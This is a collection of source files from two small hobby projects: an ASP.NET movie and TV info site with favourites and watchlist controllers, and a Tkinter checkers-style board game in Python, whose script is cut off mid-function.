"alpha_fraction": 0.6016889810562134, "alphanum_fraction": 0.6016889810562134, "avg_line_length": 34.487178802490234, "blob_id": "50bb186d7cdd7a13a0888e8b66380ddc0871e4f6", "content_id": "b3a8a72e57fb2b0646402f92186d93d312df452f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 1421, "license_type": "no_license", "max_line_length": 93, "num_lines": 39, "path": "/M-TV-Info/Models/TMDbModels/TrendingsModel.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using System;\r\nusing System.Collections.Generic;\r\n\r\nnamespace M_TV_Info.Models.TMDbModels\r\n{\r\n // TrendingsModel jsonDeserialize = JsonConvert.DeserializeObject<TrendingsModel>(json); \r\n // Root myDeserializedClass = JsonConvert.DeserializeObject<Root>(myJsonResponse); \r\n public class TrendingsResult\r\n {\r\n public string poster_path { get; set; }\r\n public bool video { get; set; }\r\n public double vote_average { get; set; }\r\n public string overview { get; set; }\r\n public string release_date { get; set; }\r\n public int id { get; set; }\r\n public bool adult { get; set; }\r\n public string backdrop_path { get; set; }\r\n public string title { get; set; }\r\n public List<int> genre_ids { get; set; }\r\n public int vote_count { get; set; }\r\n public string original_language { get; set; }\r\n public string original_title { get; set; }\r\n public double popularity { get; set; }\r\n public string media_type { get; set; }\r\n }\r\n\r\n public class TrendingsModel\r\n {\r\n public int page { get; set; }\r\n public List<TrendingsResult> results { get; set; }\r\n public int total_pages { get; set; }\r\n public int total_results { get; set; }\r\n\r\n public static implicit operator List<object>(TrendingsModel v)\r\n {\r\n throw new NotImplementedException();\r\n }\r\n }\r\n}" }, { "alpha_fraction": 0.6567020416259766, "alphanum_fraction": 0.6567020416259766, "avg_line_length": 22.590909957885742, "blob_id": "5a0c759195a26fe03833c0f58fb80635c60f9049", "content_id": "7c4d242725fb19842754433f35671d9b330ec46f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1037, "license_type": "no_license", "max_line_length": 56, "num_lines": 44, "path": "/Tests/Selenium/manager.py", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "import json\n\ndef get_json(file):\n json_file = open(file)\n json_data = json.load(json_file)\n json_file.close()\n\n return json_data\n\ndef get_URL(config_name):\n config = get_json(\"config.json\")\n return config.get(config_name).get(\"URL\")\n\ndef get_gecko_location(config_name):\n config = get_json(\"config.json\")\n return config.get(config_name).get(\"gecko-location\")\n\ndef get_login_tests():\n tests = get_json(\"tests.json\")\n return tests.get(\"login\")\n\ndef get_register_tests():\n tests = get_json(\"tests.json\")\n return tests.get(\"register\")\n\ndef get_profile_tests():\n tests = get_json(\"tests.json\")\n return tests.get(\"profile\")\n\ndef get_delete_tests():\n tests = get_json(\"tests.json\")\n return tests.get(\"delete\")\n\ndef get_password_tests():\n tests = get_json(\"tests.json\")\n return tests.get(\"password\")\n\ndef get_watchlist_tests():\n tests = get_json(\"tests.json\")\n return tests.get(\"watchlist\")\n\ndef get_favorite_tests():\n tests = get_json(\"tests.json\")\n return tests.get(\"favorite\")" }, { "alpha_fraction": 0.4614661633968353, "alphanum_fraction": 0.46334585547447205, "avg_line_length": 30.738462448120117, "blob_id": "c2fef5dc6e459c33e3128ae375a6b58993c1b441", "content_id": "ff1ea561e34bbe99ca88f14148b13dcf4460d729", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 6386, "license_type": "no_license", "max_line_length": 128, "num_lines": 195, "path": "/M-TV-Info/Areas/Identity/Pages/Account/Manage/Index.cshtml.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using System;\r\nusing System.Collections.Generic;\r\nusing System.ComponentModel.DataAnnotations;\r\nusing System.Linq;\r\nusing System.Threading.Tasks;\r\nusing M_TV_Info.Models;\r\nusing Microsoft.AspNetCore.Identity;\r\nusing Microsoft.AspNetCore.Mvc;\r\nusing Microsoft.AspNetCore.Mvc.RazorPages;\r\n\r\nnamespace M_TV_Info.Areas.Identity.Pages.Account.Manage\r\n{\r\n public partial class IndexModel : PageModel\r\n {\r\n private readonly UserManager<IdentityUser> _userManager;\r\n private readonly SignInManager<IdentityUser> _signInManager;\r\n\r\n public IndexModel(\r\n UserManager<IdentityUser> userManager,\r\n SignInManager<IdentityUser> signInManager)\r\n {\r\n _userManager = userManager;\r\n _signInManager = signInManager;\r\n }\r\n\r\n [TempData]\r\n public string StatusMessage { get; set; }\r\n\r\n [BindProperty]\r\n public InputModel Input { get; set; }\r\n\r\n public class InputModel\r\n {\r\n [StringLength(25, ErrorMessage = \"The {0} must be at least {2} and at max {1} characters long.\", MinimumLength = 3)]\r\n [Display(Name = \"Username\")]\r\n public string Username { get; set; }\r\n\r\n [StringLength(25, ErrorMessage = \"The {0} must be at least {2} and at max {1} characters long.\", MinimumLength = 3)]\r\n [Display(Name = \"Name\")]\r\n public string Name { get; set; }\r\n\r\n [EmailAddress]\r\n [Display(Name = \"Email\")]\r\n public string Email { get; set; }\r\n\r\n [Display(Name = \"Birthday\")]\r\n public DateTime Birthday { get; set; }\r\n\r\n [Display(Name = \"Country\")]\r\n public string Country { get; set; }\r\n }\r\n\r\n private async Task LoadAsync(IdentityUser user)\r\n {\r\n var asyncUser = await _userManager.GetUserAsync(User);\r\n var username = ((User)user).UserName;\r\n var name = ((User)user).Name;\r\n var email = ((User)user).Email;\r\n var birthday = ((User)user).Birthday;\r\n var country = ((User)user).Country;\r\n\r\n Input = new InputModel\r\n {\r\n Username = username,\r\n Name = name,\r\n Email = email,\r\n Birthday = birthday,\r\n Country = country\r\n };\r\n }\r\n\r\n public async Task<IActionResult> OnGetAsync()\r\n {\r\n var user = await _userManager.GetUserAsync(User);\r\n if (user == null)\r\n {\r\n return NotFound($\"Unable to load user with ID '{_userManager.GetUserId(User)}'.\");\r\n }\r\n\r\n await LoadAsync(user);\r\n return Page();\r\n }\r\n\r\n public async Task<IActionResult> OnPostAsync()\r\n {\r\n var updateUser = false;\r\n var user = await _userManager.GetUserAsync(User);\r\n\r\n if (user == null)\r\n {\r\n return NotFound($\"Unable to load user with ID '{_userManager.GetUserId(User)}'.\");\r\n }\r\n\r\n if (!ModelState.IsValid)\r\n {\r\n await LoadAsync(user);\r\n return Page();\r\n }\r\n\r\n if (Input.Username != ((User)user).UserName)\r\n {\r\n if (Input.Username == null)\r\n {\r\n StatusMessage = \"Username can't be empty.\";\r\n return RedirectToPage();\r\n }\r\n\r\n var userNameExists = await _userManager.FindByNameAsync(Input.Username);\r\n if (userNameExists != null)\r\n {\r\n StatusMessage = \"User name already taken. Select a different username.\";\r\n return RedirectToPage();\r\n }\r\n\r\n var setUserName = await _userManager.SetUserNameAsync(user, Input.Username);\r\n if (!setUserName.Succeeded)\r\n {\r\n StatusMessage = \"Unexpected error when trying to set user name.\";\r\n return RedirectToPage();\r\n }\r\n else\r\n {\r\n ((User)user).UserName = Input.Username;\r\n updateUser = true;\r\n }\r\n }\r\n\r\n if (Input.Name != ((User)user).Name)\r\n {\r\n if (Input.Name == null)\r\n {\r\n StatusMessage = \"Name can't be empty.\";\r\n return RedirectToPage();\r\n }\r\n else\r\n { \r\n ((User)user).Name = Input.Name;\r\n updateUser = true;\r\n }\r\n }\r\n\r\n if (Input.Email != ((User)user).Email)\r\n {\r\n if (Input.Email == null)\r\n {\r\n StatusMessage = \"Email can't be empty.\";\r\n return RedirectToPage();\r\n }\r\n\r\n var emailExists = await _userManager.FindByEmailAsync(Input.Email);\r\n if (emailExists != null)\r\n {\r\n StatusMessage = \"Email already taken. Select a different email.\";\r\n return RedirectToPage();\r\n }\r\n\r\n if (Input.Email == null)\r\n {\r\n StatusMessage = \"Email can't be empty.\";\r\n return RedirectToPage();\r\n }\r\n else\r\n {\r\n ((User)user).Email = Input.Email;\r\n updateUser = true;\r\n }\r\n }\r\n\r\n if (Input.Birthday != ((User)user).Birthday)\r\n {\r\n ((User)user).Birthday = Input.Birthday;\r\n updateUser = true;\r\n }\r\n\r\n if (Input.Country != ((User)user).Country)\r\n {\r\n ((User)user).Country = Input.Country;\r\n updateUser = true;\r\n }\r\n\r\n if (updateUser)\r\n {\r\n await _userManager.UpdateAsync(user);\r\n StatusMessage = \"Your profile has been updated!\";\r\n }\r\n else\r\n {\r\n StatusMessage = \"Nothing changed.\";\r\n }\r\n\r\n await _signInManager.RefreshSignInAsync(user);\r\n return RedirectToPage();\r\n }\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.7435897588729858, "alphanum_fraction": 0.7435897588729858, "avg_line_length": 28.761905670166016, "blob_id": "41738b718503abb798a3ab47580eb29d9df9039f", "content_id": "973a101ee902e39377be3868b1e05f0c913fc19e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 626, "license_type": "no_license", "max_line_length": 83, "num_lines": 21, "path": "/M-TV-Info/Areas/Identity/IdentityHostingStartup.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using System;\nusing M_TV_Info.Data;\nusing Microsoft.AspNetCore.Hosting;\nusing Microsoft.AspNetCore.Identity;\nusing Microsoft.AspNetCore.Identity.UI;\nusing Microsoft.EntityFrameworkCore;\nusing Microsoft.Extensions.Configuration;\nusing Microsoft.Extensions.DependencyInjection;\n\n[assembly: HostingStartup(typeof(M_TV_Info.Areas.Identity.IdentityHostingStartup))]\nnamespace M_TV_Info.Areas.Identity\n{\n public class IdentityHostingStartup : IHostingStartup\n {\n public void Configure(IWebHostBuilder builder)\n {\n builder.ConfigureServices((context, services) => {\n });\n }\n }\n}" }, { "alpha_fraction": 0.41096818447113037, "alphanum_fraction": 0.41909274458885193, "avg_line_length": 28.559999465942383, "blob_id": "5af0045a92a13a6dfe64cdba6cf4cd0a34244e6b", "content_id": "880b7200c1d9d53600c17929a794bbc3b02e37f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1479, "license_type": "no_license", "max_line_length": 63, "num_lines": 50, "path": "/M-TV-Info/wwwroot/js/movie_view.js", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "$(document).ready(function () {\n var _fav_icon = \"/assets/favoriteListButton2.png\";\n var _watch_icon = \"/assets/watchlistButton2.png\";\n var _movie = $(\"#movie_id\");\n // Check Fav\n $.ajax({\n type: \"POST\", //HTTP POST Method\n url: \"/api/AjaxAPI/CheckFavourites\", // Controller/View\n data: _movie,\n success: function () {\n $(\"#addFav\").attr(\"src\", _fav_icon);\n }\n });\n\n // Check Watch\n $.ajax({\n type: \"POST\", //HTTP POST Method\n url: \"/api/AjaxAPI/CheckWatchList\", // Controller/View\n data: _movie,\n success: function () {\n $(\"#addWatch\").attr(\"src\", _watch_icon);\n }\n });\n\n // Check Rating\n $.ajax({\n type: \"POST\", // HTTP POST Method\n url: \"/api/AjaxAPI/CheckRating\", // Controller/View\n data: _movie,\n success: function (data) {\n switch( data ){\n case 1:\n $(\"#star1\").prop(\"checked\", true);\n break;\n case 2:\n $(\"#star2\").prop(\"checked\", true);\n break;\n case 3:\n $(\"#star3\").prop(\"checked\", true);\n break;\n case 4:\n $(\"#star4\").prop(\"checked\", true);\n break;\n case 5:\n $(\"#star5\").prop(\"checked\", true);\n break;\n }\n }\n });\n});" }, { "alpha_fraction": 0.5586715936660767, "alphanum_fraction": 0.5586715936660767, "avg_line_length": 27.82978630065918, "blob_id": "f0701d31d21abf656b2b9c1063d0f96c05c6d940", "content_id": "7649479fbbb9827932e89eb515b2b3b2f0c6d989", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 2712, "license_type": "no_license", "max_line_length": 127, "num_lines": 94, "path": "/M-TV-Info/Controllers/FavouritesController.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using System.Collections.Generic;\nusing M_TV_Info.Models;\nusing M_TV_Info.Data;\nusing System.Linq;\nusing Microsoft.AspNetCore.Mvc;\nusing System;\nusing Microsoft.AspNetCore.Identity;\nusing System.Threading.Tasks;\nusing System.Security.Claims;\nusing Newtonsoft.Json;\nusing Microsoft.Extensions.Logging;\n\nnamespace M_TV_Info.Controllers\n{\n public class FavouritesController : Controller\n {\n private readonly ApplicationDbContext _context;\n private readonly ILogger<FavouritesController> _logger;\n public FavouritesController(ILogger<FavouritesController> logger,\n ApplicationDbContext context)\n {\n _logger = logger;\n _context = context;\n }\n\n // Add To Favourites\n [Route(\"api/AjaxAPI/AddToFavourites\")]\n [HttpPost]\n public ActionResult AddToFavourites(FavouriteModelPost item)\n {\n\n var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);\n\n FavouriteModel model = new FavouriteModel();\n DateTime date = DateTime.Now;\n\n var callMedia = _context.Favourite.Where(i => i.media_id == item.media_id && i.user_id == userId).FirstOrDefault();\n\n if (!(callMedia is null))\n {\n _context.Favourite.Remove(callMedia);\n _context.SaveChanges();\n\n return Ok(model);\n }\n else\n {\n model.media_id = item.media_id;\n model.movie_title = item.movie_title;\n model.movie_poster = item.movie_poster;\n model.user_id = userId;\n model.w_date = date;\n\n _context.Favourite.Add(model);\n _context.SaveChanges();\n\n return Ok(model);\n }\n }\n \n [Route(\"Favourites\")]\n // Remove From Favourites\n [HttpPost]\n public ActionResult RemoveFromFavourites(int id)\n {\n var getFav = _context.Favourite.Where(f => f.id == id).FirstOrDefault();\n\n _context.Favourite.Remove(getFav);\n\n _context.SaveChanges();\n\n return Redirect(\"Home/Favorites\");\n }\n\n // Check if Exists\n [Route(\"/api/AjaxAPI/CheckFavourites\")]\n [HttpPost]\n public ActionResult CheckFavourites(int id)\n {\n var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);\n\n var getFav = _context.Favourite.Where(i => i.media_id == id && i.user_id == userId).ToList();\n\n if( getFav.Any() )\n {\n return Ok();\n }\n else\n {\n return NotFound();\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.6028881072998047, "alphanum_fraction": 0.6028881072998047, "avg_line_length": 21.08333396911621, "blob_id": "35293ff8e6df36bce319cff1c5ae41ef268a8826", "content_id": "26076f81e5f80e1f20cb42205d0a09ee9ebb5531", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 279, "license_type": "no_license", "max_line_length": 46, "num_lines": 12, "path": "/M-TV-Info/Models/User.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using Microsoft.AspNetCore.Identity;\r\nusing System;\r\n\r\nnamespace M_TV_Info.Models\r\n{\r\n public class User : IdentityUser\r\n {\r\n public string Name { get; set; }\r\n public DateTime Birthday { get; set; }\r\n public String Country { get; set; }\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.5488036274909973, "alphanum_fraction": 0.5488036274909973, "avg_line_length": 27.31182861328125, "blob_id": "b704466ffaa758f596e8d0d466fd1e385420414d", "content_id": "097c4efbeb5704f6397b8060b65ab49983287785", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 2635, "license_type": "no_license", "max_line_length": 127, "num_lines": 93, "path": "/M-TV-Info/Controllers/WatchListController.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using System.Collections.Generic;\nusing M_TV_Info.Models;\nusing M_TV_Info.Data;\nusing System.Linq;\nusing Microsoft.AspNetCore.Mvc;\nusing System.Security.Claims;\nusing System;\nusing Microsoft.Extensions.Logging;\n\nnamespace M_TV_Info.Controllers\n{\n public class WatchListController : Controller\n {\n private readonly ApplicationDbContext _context;\n private readonly ILogger<WatchListController> _logger;\n\n // Def Constructor\n public WatchListController(ILogger<WatchListController> logger,\n ApplicationDbContext context)\n {\n _logger = logger;\n _context = context;\n\n }\n\n // Add To Favourites\n [Route(\"api/AjaxAPI/AddToWatchList\")]\n [HttpPost]\n public ActionResult AddToWatchList(WatchListModelPost item)\n {\n var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);\n\n WatchlistModel model = new WatchlistModel();\n DateTime date = DateTime.Now;\n\n var callMedia = _context.Watchlist.Where(i => i.media_id == item.media_id && i.user_id == userId).FirstOrDefault();\n\n if (!(callMedia is null))\n {\n _context.Watchlist.Remove(callMedia);\n _context.SaveChanges();\n\n return Ok(model);\n }\n else\n {\n model.media_id = item.media_id;\n model.movie_title = item.movie_title;\n model.poster_path = item.poster_path;\n model.user_id = userId;\n model.w_date = date;\n\n _context.Watchlist.Add(model);\n _context.SaveChanges();\n\n return Ok(model);\n }\n }\n\n // Remove From WatchList\n [Route(\"WatchList\")]\n [HttpPost]\n public ActionResult RemoveFromWatchList(int id)\n {\n var getWatch = _context.Watchlist.Where(w => w.id == id).FirstOrDefault();\n\n _context.Watchlist.Remove(getWatch);\n\n _context.SaveChanges();\n\n return Redirect(\"Home/Watchlist\");\n }\n\n // Check if Exists\n [Route(\"/api/AjaxAPI/CheckWatchList\")]\n [HttpPost]\n public ActionResult CheckWatchList(int id)\n {\n var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);\n\n var getWatc = _context.Watchlist.Where(i => i.media_id == id && i.user_id == userId).ToList();\n\n if( getWatc.Any() )\n {\n return Ok();\n }\n else\n {\n return NotFound();\n }\n }\n }\n}\n" } ]
21
daweidavidwang/Python-RVO2-3D
https://github.com/daweidavidwang/Python-RVO2-3D
58b3463fcc574ada4a560206a385fbb438954ce0
8190d2a01146c033605823a095bce246ca88349e
5f7f01839499e4078de9da1d06671ee03e9f4915
refs/heads/master
2020-06-10T14:58:27.744710
2019-06-28T08:54:33
2019-06-28T08:54:33
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6104114055633545, "alphanum_fraction": 0.6742233633995056, "avg_line_length": 32.05555725097656, "blob_id": "8dec127599783724cac357003f4030db0bebf1f7", "content_id": "db24ade846986ee50ef0868b02ac0915b2e9f556", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1191, "license_type": "permissive", "max_line_length": 107, "num_lines": 36, "path": "/example.py", "repo_name": "daweidavidwang/Python-RVO2-3D", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport rvo23d\n\ntimeStep = 1/60.\nneighborDist = 1.5\nmaxNeighbors = 5\ntimeHorizon = 1.5\nradius = 2\nmaxSpeed = 0.4\nvelocity = (1, 1, 1)\n\nsim = rvo23d.PyRVOSimulator(timeStep, neighborDist, maxNeighbors, timeHorizon, radius, maxSpeed, velocity)\n\na0 = sim.addAgent((0, 0, 0), neighborDist, maxNeighbors, timeHorizon, radius, maxSpeed, (0, 0, 0))\na1 = sim.addAgent((1, 0, 0), neighborDist, maxNeighbors, timeHorizon, radius, maxSpeed, (0, 0, 0))\na2 = sim.addAgent((1, 1, 0), neighborDist, maxNeighbors, timeHorizon, radius, maxSpeed, (0, 0, 0))\na3 = sim.addAgent((0, 1, 0), neighborDist, maxNeighbors, timeHorizon, radius, maxSpeed, (0, 0, 0))\n\n\n# Set preferred velocities\nsim.setAgentPrefVelocity(a0, (1, 1, 0))\nsim.setAgentPrefVelocity(a1, (-1, 1, 0))\nsim.setAgentPrefVelocity(a2, (-1, -1, 0))\nsim.setAgentPrefVelocity(a3, (1, -1, 0))\n\nprint('Simulation has %i agents in it.' %\n (sim.getNumAgents()))\n\nprint('Running simulation')\n\nfor step in range(20):\n sim.doStep()\n\n positions = ['(%5.3f, %5.3f, %5.3f)' % sim.getAgentPosition(agent_no) for agent_no in (a0, a1, a2, a3)]\n print('step=%2i t=%.3f %s' % (step, sim.getGlobalTime(), ' '.join(positions)))\n\n" } ]
1
ale-pe/Tkinter-checkers-game
https://github.com/ale-pe/Tkinter-checkers-game
2ae6bb72fce11a85be6a5ceb81507679b0a08a53
22210ffcfd6aa4dd4d84f501d26d2057f3ec1444
d144626be5412fe259f8c90598c5c6067d03f1d3
refs/heads/main
2023-01-02T17:37:50.178321
2020-10-30T17:17:19
2020-10-30T17:17:19
308,695,008
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8032786846160889, "alphanum_fraction": 0.8032786846160889, "avg_line_length": 19, "blob_id": "69c207b8f2acf9234600b58a9a665d4ea27f04ae", "content_id": "b88f96fe24403641ffc84edd837168fcd4ed8adc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 61, "license_type": "no_license", "max_line_length": 34, "num_lines": 3, "path": "/README.md", "repo_name": "ale-pe/Tkinter-checkers-game", "src_encoding": "UTF-8", "text": "# Tkinter-checkers-game\n\nCheckers game created with Tkinter\n\n" }, { "alpha_fraction": 0.4463975727558136, "alphanum_fraction": 0.5818142294883728, "avg_line_length": 32.384056091308594, "blob_id": "21caf4dec359bfad525e404623ec5325bf2404f9", "content_id": "e23641543f44abaea1dfb61a1acc96ffdf8aadae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9216, "license_type": "no_license", "max_line_length": 103, "num_lines": 276, "path": "/main.py", "repo_name": "ale-pe/Tkinter-checkers-game", "src_encoding": "UTF-8", "text": "from tkinter import *\nfen = Tk()\n\n \n\n#### var ####\nchoose = \"\"\nturn = 1\nscorea = 0\nscoreb = 0\nfen.title('Jeu')\nfen.geometry(\"900x600\")\ntitle = StringVar()\ntitle.set(\"Blancs 0 - 0 Noirs\")\nfen['bg']='#34495e' # couleur de fond\n# fen.wm_attributes('-fullscreen','true')\n# fen.overrideredirect(True)\n# fen.deiconify()\nFrame1 = Frame(fen,borderwidth=2,relief=GROOVE,bg=\"#2c3e50\",bd=0)\n# Frame1.grid()\nFrame1.pack(side=\"top\", fill=\"x\")\nLabel(Frame1,textvariable=title,bg=\"#2c3e50\",fg=\"white\",font='Helvetica 13 bold').pack(padx=10,pady=10)\nFrame2 = Frame(fen,borderwidth=2,relief=GROOVE,bg=\"#34495e\",bd=0,width=100,heigh=10,)\nFrame2.pack(side=\"top\", fill=\"x\")\n\n\n######\ncan = Canvas(fen,width=800,heigh=500,bg='ivory')\n\ncan.pack()\ncan.create_rectangle(0,0,100,100,fill=\"#0F80FF\",tags = \"azer\")\ncan.create_rectangle(0,100,100,200,fill=\"#0F80FF\")\ncan.create_rectangle(0,200,100,300,fill=\"#0F80FF\")\ncan.create_rectangle(0,300,100,400,fill=\"#0F80FF\")\ncan.create_rectangle(0,400,100,500,fill=\"#0F80FF\")\n########\ncan.create_rectangle(100,0,200,100,fill=\"#8000FF\")\ncan.create_rectangle(100,100,200,200,fill=\"#8000FF\")\ncan.create_rectangle(100,200,200,300,fill=\"#8000FF\")\ncan.create_rectangle(100,300,200,400,fill=\"#8000FF\")\ncan.create_rectangle(100,400,200,500,fill=\"#8000FF\")\n########\ncan.create_rectangle(200,0,300,100,fill=\"#FC6666\")\ncan.create_rectangle(200,100,300,200,fill=\"#FFFF66\")\ncan.create_rectangle(200,200,300,300,fill=\"#FC6666\")\ncan.create_rectangle(200,300,300,400,fill=\"#FFFF66\")\ncan.create_rectangle(200,400,300,500,fill=\"#FC6666\")\n########\ncan.create_rectangle(300,0,400,100,fill=\"#FFFF66\")\ncan.create_rectangle(300,100,400,200,fill=\"#FC6666\")\ncan.create_rectangle(300,200,400,300,fill=\"#FFFF66\")\ncan.create_rectangle(300,300,400,400,fill=\"#FC6666\")\ncan.create_rectangle(300,400,400,500,fill=\"#FFFF66\")\n########\ncan.create_rectangle(400,0,500,100,fill=\"#FC6666\")\ncan.create_rectangle(400,100,500,200,fill=\"#FFFF66\")\ncan.create_rectangle(400,200,500,300,fill=\"#FC6666\")\ncan.create_rectangle(400,300,500,400,fill=\"#FFFF66\")\ncan.create_rectangle(400,400,500,500,fill=\"#FC6666\")\n########\ncan.create_rectangle(500,0,600,100,fill=\"#FFFF66\")\ncan.create_rectangle(500,100,600,200,fill=\"#FC6666\")\ncan.create_rectangle(500,200,600,300,fill=\"#FFFF66\")\ncan.create_rectangle(500,300,600,400,fill=\"#FC6666\")\ncan.create_rectangle(500,400,600,500,fill=\"#FFFF66\")\n########\ncan.create_rectangle(600,0,700,100,fill=\"#8000FF\")\ncan.create_rectangle(600,100,700,200,fill=\"#8000FF\")\ncan.create_rectangle(600,200,700,300,fill=\"#8000FF\")\ncan.create_rectangle(600,300,700,400,fill=\"#8000FF\")\ncan.create_rectangle(600,400,700,500,fill=\"#8000FF\")\n########\ncan.create_rectangle(700,0,800,100,fill=\"#118040\")\ncan.create_rectangle(700,100,800,200,fill=\"#118040\")\ncan.create_rectangle(700,200,800,300,fill=\"#118040\")\ncan.create_rectangle(700,300,800,400,fill=\"#118040\")\ncan.create_rectangle(700,400,800,500,fill=\"#118040\")\n# can.create_line(100, 0, 200, 50)\n# can.create_line(100, 100, 200, 50)\n# can.create_line(50, 0, 50, 100)\n\ncan.create_polygon(100, 0, 200, 50, 100, 100,fill='red', width=2)\ncan.create_polygon(100, 100, 200, 150, 100, 200,fill='red', width=2)\ncan.create_polygon(100, 200, 200, 250, 100, 300,fill='red', width=2)\ncan.create_polygon(100, 300, 200, 350, 100, 400,fill='red', width=2)\ncan.create_polygon(100, 400, 200, 450, 100, 500,fill='red', width=2)\n###\ncan.create_polygon(700, 0, 700, 100, 600, 50,fill='red', width=2)\ncan.create_polygon(700, 100, 700, 200, 600, 150,fill='red', width=2)\ncan.create_polygon(700, 200, 700, 300, 600, 250,fill='red', width=2)\ncan.create_polygon(700, 300, 700, 400, 600, 350,fill='red', width=2)\ncan.create_polygon(700, 400, 700, 500, 600, 450,fill='red', width=2)\n\na1 = can.create_oval(30, 30, 70, 70, outline=\"#f11\",fill=\"white\", width=2,tags=\"a1\",)\na2 = can.create_oval(30, 130, 70, 170, outline=\"#f11\",fill=\"white\", width=2,tags=\"a2\")\na3 = can.create_oval(30, 230, 70, 270, outline=\"#f11\",fill=\"white\", width=2,tags=\"a3\")\na4 =can.create_oval(30, 330, 70, 370, outline=\"#f11\",fill=\"white\", width=2,tags=\"a4\")\na5 = can.create_oval(30, 430, 70, 470, outline=\"#f11\",fill=\"white\", width=2,tags=\"a5\")\n\nb1 = can.create_oval(730, 30, 770, 70, outline=\"#f11\",fill=\"black\", width=2,tags=\"b1\",)\nb2 = can.create_oval(730, 130, 770, 170, outline=\"#f11\",fill=\"black\", width=2,tags=\"b2\")\nb3 = can.create_oval(730, 230, 770, 270, outline=\"#f11\",fill=\"black\", width=2,tags=\"b3\")\nb4 =can.create_oval(730, 330, 770, 370, outline=\"#f11\",fill=\"black\", width=2,tags=\"b4\")\nb5 = can.create_oval(730, 430, 770, 470, outline=\"#f11\",fill=\"black\", width=2,tags=\"b5\")\n\ndef move(x):\n global scorea\n global scoreb\n global choose\n global turn\n print(choose)\n for m in [\"D\", \"G\",\"H\",\"B\"]:\n try:\n can.delete(m)\n except:\n pass\n if x == \"B\":\n can.move(choose, 0,100)\n if x == \"H\":\n can.move(choose, 0,-100)\n if x == \"D\":\n can.move(choose, 100,0)\n if x == \"G\":\n can.move(choose, -100,0)\n \n if turn == 1 :\n for t in [b1,b2,b3,b4,b5]:\n print(can.coords(choose))\n print(can.coords(t))\n if can.coords(choose) == can.coords(t):\n can.delete(t)\n print('ooo')\n scorea = scorea+1\n title.set(\"Blancs \"+str(scorea)+\" - \"+str(scoreb)+\" Noirs\")\n can.itemconfig(choose, fill='white')\n turn = 2\n else :\n for t in [a1,a2,a3,a4,a5]:\n print(can.coords(choose))\n print(can.coords(t))\n if can.coords(choose) == can.coords(t):\n can.delete(t)\n print('ooo')\n scoreb = scoreb+1\n title.set(\"Blancs \"+str(scorea)+\" - \"+str(scoreb)+\" Noirs\")\n can.itemconfig(choose, fill='black')\n turn = 1\n\n\n###### MOVE P1 #######\ndef selectpiona(x):\n global turn\n global choose\n for m in [\"D\", \"G\",\"H\",\"B\"]:\n try:\n can.delete(m)\n except:\n pass\n if turn == 1 :\n namep1 = [\"a1\",\"a2\",\"a3\",\"a4\",\"a5\"]\n else :\n namep1 = [\"b1\",\"b2\",\"b3\",\"b4\",\"b5\"]\n namep1.remove(x)\n print(namep1)\n choose = x\n can.itemconfig(x, fill='pink')\n for i in namep1:\n if turn == 1 :\n can.itemconfig(i, fill='white')\n else :\n can.itemconfig(i, fill='black')\n print(can.coords(x))\n ######\n v1 = can.coords(x)[0]\n v2 = can.coords(x)[1]\n v3 = can.coords(x)[2]\n v4 = can.coords(x)[3]\n print(v1)\n print(v2)\n print(v3)\n print(v4)\n ##### ->\n v1 = v1 + 100\n v3 = v3 + 100\n result = []\n for z in namep1:\n if [v1,v2,v3,v4] == can.coords(z):\n break\n else :\n result.append(\"ok\")\n if len(result) == 4:\n if v1 != 830 :\n print('DROITE')\n D = can.create_oval(v1, v2, v3, v4, outline=\"#f11\",fill=\"blue\", width=2,tags=\"D\",)\n can.tag_bind(\"D\",\"<Button-1>\",lambda x: move(\"D\"))\n #### <-\n v1 = v1 - 200\n v3 = v3 - 200\n result = []\n for z in namep1:\n if [v1,v2,v3,v4] == can.coords(z):\n break\n else :\n result.append(\"ok\")\n if len(result) == 4:\n if v1 != -70 :\n print('GAUCHE')\n G = can.create_oval(v1, v2, v3, v4, outline=\"#f11\",fill=\"blue\", width=2,tags=\"G\",)\n can.tag_bind(\"G\",\"<Button-1>\",lambda x: move(\"G\"))\n ### BAS\n result = []\n v1 = v1 + 100\n v3 = v3 + 100 \n v2 = v2 + 100\n v4 = v4 + 100\n for z in namep1:\n if [v1,v2,v3,v4] == can.coords(z):\n break\n else :\n result.append(\"ok\")\n if len(result) == 4:\n if v2 != 530 :\n print('BAS')\n H = can.create_oval(v1, v2, v3, v4, outline=\"#f11\",fill=\"blue\", width=2,tags=\"B\",)\n can.tag_bind(\"B\",\"<Button-1>\",lambda x: move(\"B\"))\n ### HAUT\n result = [] \n v2 = v2 - 